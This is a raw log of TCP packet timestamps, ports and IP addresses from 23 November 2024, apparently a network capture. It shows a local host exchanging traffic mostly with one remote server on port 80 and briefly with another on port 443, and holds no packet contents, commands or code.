Nov 23, 2024 05:02:24.950248957 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.950341940 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.950361013 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.950433969 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.953850031 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.953924894 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.953946114 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.954026937 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.957443953 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.957531929 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.957556963 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.957623005 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.961047888 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.961113930 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.961148977 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.961272001 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.964711905 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.964778900 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.964807034 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.964876890 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.968302011 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.968348026 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.968364954 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.968413115 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.971859932 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.971962929 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.971983910 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.972080946 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.975461960 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.975567102 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.976907969 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.976974964 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.977047920 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.977140903 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.979859114 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.979907990 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.979969025 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.980057955 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.982829094 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.982888937 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.982928991 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.982974052 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.985719919 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.985799074 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.985831976 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.985904932 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:24.988584042 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:24.988634109 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.050113916 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.050138950 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.050208092 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.050208092 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.051422119 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.051466942 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.051510096 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.051510096 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.054177999 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.054241896 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.054292917 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.054400921 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.056862116 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.056909084 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.056960106 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.057037115 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.059590101 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.059648037 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.059695959 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.059829950 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.062323093 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.062397003 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.062406063 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.062530041 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.065040112 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.065095901 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.065129995 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.065181971 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.067766905 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.067816973 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.067866087 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.067919970 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.070471048 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.070523977 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.070576906 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.070662022 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.073199034 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.073261023 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.073298931 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.073347092 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.075922966 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.076030016 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.076076984 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.076076984 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.078661919 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.078711033 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.078732014 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.078762054 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.081371069 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.081424952 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.081484079 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.081537962 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.125952005 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.125984907 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.126019001 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.126070023 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.126955032 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.127053976 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.127075911 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.127125978 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.129012108 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.129129887 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.129132032 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.129193068 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.131064892 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.131165981 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.131170988 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.131230116 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.133107901 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.133189917 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.133224964 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.133311987 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.135157108 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.135212898 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.135251999 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.135309935 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.137234926 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.137293100 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.137331963 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.137403011 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.139276981 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.139363050 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.139381886 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.139456987 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.141340017 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.141428947 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.141439915 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.141494036 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.143397093 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.143455029 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.143487930 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.143529892 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.145415068 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.145539045 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.145550966 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.145596981 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.147484064 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.147550106 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.147593021 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.147711992 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.149513960 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.149605036 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.149636984 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.149683952 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.151593924 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.151640892 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.151674986 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.151791096 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.153621912 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.153681993 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.153738976 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.153800964 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.155677080 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.155771971 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.155791044 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.155836105 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.157742977 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.157804966 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.157852888 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.157902956 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.159802914 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.159857988 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.159898043 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.159949064 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.161839962 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.161955118 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.161959887 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.162004948 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.163876057 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.163932085 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.163973093 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.164026022 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.165951967 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.166054010 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.166093111 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.166093111 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.168014050 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.168108940 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.168150902 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.168150902 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.170036077 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.170094967 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.170149088 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.170190096 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.172132015 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.172190905 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.172226906 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.172280073 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.174154043 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.174257994 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.174284935 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.174333096 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.176196098 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.176285982 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.176310062 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.176398993 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.178272963 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.178376913 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.178383112 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.178431988 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.180301905 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.180401087 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.180433035 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.180530071 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.182348967 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.182399988 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.182451010 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.182533026 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.184421062 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.184534073 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.184545040 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.184627056 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.186465979 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.186527967 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.186567068 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.186696053 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.188502073 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.188565016 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.188604116 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.188663960 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.190551996 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.190677881 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.190687895 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.190789938 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.192622900 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.192684889 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.192684889 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.192738056 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.194664001 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.194721937 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.194766998 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.194813013 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.196710110 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.196758986 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.196814060 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.196866035 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.198707104 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.198754072 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.198801041 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.198925018 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.200720072 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.200812101 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.200851917 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.200906992 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.202687025 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.202764988 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.232202053 CET	443	49730	20.198.119.84	192.168.2.6
Nov 23, 2024 05:02:25.232445002 CET	443	49730	20.198.119.84	192.168.2.6
Nov 23, 2024 05:02:25.232528925 CET	49730	443	192.168.2.6	20.198.119.84
Nov 23, 2024 05:02:25.232851982 CET	49730	443	192.168.2.6	20.198.119.84
Nov 23, 2024 05:02:25.232881069 CET	443	49730	20.198.119.84	192.168.2.6
Nov 23, 2024 05:02:25.232897043 CET	49730	443	192.168.2.6	20.198.119.84
Nov 23, 2024 05:02:25.251029015 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.251140118 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.251172066 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.251221895 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.252712011 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.252763033 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.253731012 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.253825903 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.256378889 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.256395102 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.256433964 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.256462097 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.257045984 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.257132053 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.257222891 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.257312059 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.259087086 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.259103060 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.259135962 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.259206057 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.261035919 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.261058092 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.261105061 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.261105061 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.262821913 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.262892008 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.262993097 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.263067007 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.264785051 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.264945984 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.264957905 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.265012026 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.266783953 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.266868114 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.266956091 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.267065048 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.268798113 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.268845081 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.268949986 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.269031048 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.270804882 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.270822048 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.270878077 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.270878077 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.272747993 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.272764921 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.272830963 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.272830963 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.274507999 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.274661064 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.274678946 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.274749994 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.276472092 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.276536942 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.276638985 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.276700974 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.278378963 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.278440952 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.278548956 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.278625965 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.280469894 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.280486107 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.280527115 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.280528069 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.282423973 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.282486916 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.327043056 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.327140093 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.327172995 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.327222109 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.327579975 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.327646971 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.327666998 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.327791929 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.328664064 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.328716040 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.328772068 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.328864098 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.329746008 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.329869986 CET	80	49724	185.215.113.206	192.168.2.6
